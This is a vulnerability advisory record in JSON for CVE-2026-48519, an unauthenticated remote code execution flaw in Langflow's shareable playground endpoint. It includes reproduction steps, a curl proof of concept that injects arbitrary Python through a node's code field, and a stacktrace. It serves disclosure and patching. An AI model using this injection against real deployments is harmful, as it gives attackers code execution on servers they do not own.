CVE-2026-48519: Langflow Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v5ff-9q35-q26f",
  "modified" : "2026-07-20T13:42:11Z",
  "published" : "2026-06-16T17:35:32Z",
  "aliases" : [ "CVE-2026-48519" ],
  "summary" : "Langflow: Unauthenticated RCE in Shareable Playgrounds",
  "details" : "### Summary\nThe \"Shareable Playground\" (or \"Public Flows\" in code) contains a critical RCE vulnerability.\nSimply sharing a flow exposes the deployment to RCE risk by authenticated users.\n\nTested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe\n\n### Details\nShareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link.\nSpecifically, it enables the route `/api/v1/build_public_tmp` to execute any public flow, given a public flow ID.\nWhen the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload!\n\nThe vulnerable field is data.nodes[X].data.node.template.code.value. See PoC for an example.\n\n### PoC\nReproduction:\n1. Create a new flow and add a Chat Input node to it\n2. Share the flow (\"Shareable Playground\")\n3. Access the public link with the browser developers tools open and execute the flow.\n4. Find the `/api/v1/build_public_tmp` route and copy as cURL\n5. Edit the `data.nodes[X].data.node.template.code.value` JSON field with any python code and run the cURL command.\n\nExample PoC (replace flow ID with the correct one), and download [test_with_python.json](https://github.com/user-attachments/files/25159927/test_with_python.json):\n```bash\ncurl 'http://localhost:7860/api/v1/build_public_tmp/<flow-id>/flow?start_component_id=ChatInput-syEJp&log_builds=false&event_delivery=streaming' \\\n  -H 'Content-Type: application/json' \\\n  -b 'client_id=anything' \\\n  --data-raw \"$(cat test_with_python.json)\"\n```\nSearch for `touch /tmp/pwned` in the `test_with_python.json` and edit for any other code.\n\n\n\nThe stacktrace for the code executed is:\n```\n...\n  File \"/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py\", line 495, in generate_flow_events\n    ids, vertices_to_run, graph = await build_graph_and_get_order()\n  File \"/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py\", line 234, in build_graph_and_get_order\n    graph = await create_graph(fresh_session, flow_id_str, flow_name)\n  File \"/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py\", line 298, in create_graph\n    return await build_graph_from_data(\n  File \"/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/utils/core.py\", line 192, in build_graph_from_data\n    graph = Graph.from_payload(payload, str_flow_id, flow_name, kwargs.get(\"user_id\"))\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 1153, in from_payload\n    graph.add_nodes_and_edges(vertices, edges)\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 270, in add_nodes_and_edges\n    self.initialize()\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 512, in initialize\n    self._build_graph()\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 1305, in _build_graph\n    self._instantiate_components_in_vertices()\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 1347, in _instantiate_components_in_vertices\n    vertex.instantiate_component(self.user_id)\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/vertex/base.py\", line 382, in instantiate_component\n    self.custom_component, _ = initialize.loading.instantiate_class(\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/interface/initialize/loading.py\", line 45, in instantiate_class\n    custom_component: CustomComponent | Component = class_object(\n  File \"<string>\", line 59, in __init__\n```\n\n### Impact\nUnauthenticated RCE on any deployment with a shareable playground.\n\n\n\nOri Lahav\nSecurity Researcher @ Rubrik Inc.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "langflow"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.9.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.9.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/langflow-ai/langflow/security/advisories/GHSA-v5ff-9q35-q26f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-48519"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/langflow-ai/langflow"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2026-243.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-16T17:35:32Z",
    "nvd_published_at" : "2026-06-23T17:17:01Z"
  }
}